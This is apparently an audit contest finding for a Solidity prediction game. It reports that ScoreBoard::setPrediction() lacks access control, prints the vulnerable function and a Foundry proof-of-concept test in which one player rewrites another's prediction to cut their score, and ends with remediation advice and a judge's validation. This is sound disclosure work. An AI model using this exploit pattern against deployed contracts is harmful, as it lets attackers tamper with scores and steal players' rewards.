Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] Unauthorized Prediction Manipulation in `ScoreBoard::setPrediction()`.

Summary

The ScoreBoard contract allows unauthorized players to make or alter predictions on behalf of other players. This can result in incorrect scoring, zeroing out player scores, and manipulating the reward distribution to favor the attacker.
This can lead to score manipulation, potential reward theft, and compromise the integrity of the prediction system.

Vulnerability Details

The ScoreBoard::setPrediction() function at line 61 allows any user to change another player's prediction, this function does not have proper access control, enabling malicious player to manipulate the predictions of other players, allowing any player to call it and modify predictions for any other player. This can be exploited in several ways:

  1. Changing a user's prediction from correct to incorrect

  2. Setting a player's score to 0 by making their predictions pending

  3. Increasing an attacker's share of the reward by changing other players' predictions to incorrect ones

function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
@> playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
PoC

Add the following to ThePrediter.test.sol test file:

function test_makePredictionsOnBehalfOfOthers() public {
// 1. Give stranger some funds
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
// 2. Create a second stranger and give them funds
address stranger2 = makeAddr("stranger2");
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
// 3. The organizer approves the players
vm.startPrank(organizer);
thePredicter.approvePlayer(stranger);
thePredicter.approvePlayer(stranger2);
// 4. The organizer sets the results for match 0
scoreBoard.setResult(0, ScoreBoard.Result.Draw);
vm.stopPrank();
// 5. "stranger" makes a prediction
vm.warp(2);
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
0,
ScoreBoard.Result.Draw
);
vm.stopPrank();
// 7. Check that "stranger" score is equal to 2 (1 correct prediction)
assertEq(scoreBoard.getPlayerScore(stranger), 2);
// 6. "stranger2" makes a false prediction on behalf of "stranger" using "setPrediction"
vm.startPrank(stranger2);
scoreBoard.setPrediction(stranger, 0, ScoreBoard.Result.First);
vm.stopPrank();
// 8. Check that "stranger" score is equal to 1 (1 false prediction)
assertEq(scoreBoard.getPlayerScore(stranger), -1);
}

Impact

High. Reasons:

  1. Integrity Compromise: The prediction system's integrity is completely undermined, as predictions can be arbitrarily changed.

  2. Financial Loss: Players can lose potential rewards due to malicious manipulation of their predictions.

  3. Score Tampering: Attackers can gain an unfair advantage by manipulating others' predictions to increase their own reward share, by doing this players' scores can be unfairly altered, leading to a loss of points or incorrect scores.

  4. Trust Issues: The overall trust in the game system is compromised, as potentially causing users to abandon the system as scores and rewards can be manipulated by unauthorized players.

Tools Used

  • Manual code review

  • Foundry (for running test cases)

Recommendations

  1. Implement Access Control: Modify the ScoreBoard::setPrediction() function to only allow calls from the prediction owner or authorized contract functions.

  2. Use Modifiers: Implement and use modifiers to check permissions before allowing prediction changes.

  3. Event Logging: Implement event logging for all prediction changes to provide transparency and aid in detecting unauthorized changes.

  4. Time-lock Mechanism: Consider implementing a time-lock mechanism that prevents changes to predictions after a certain point.

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.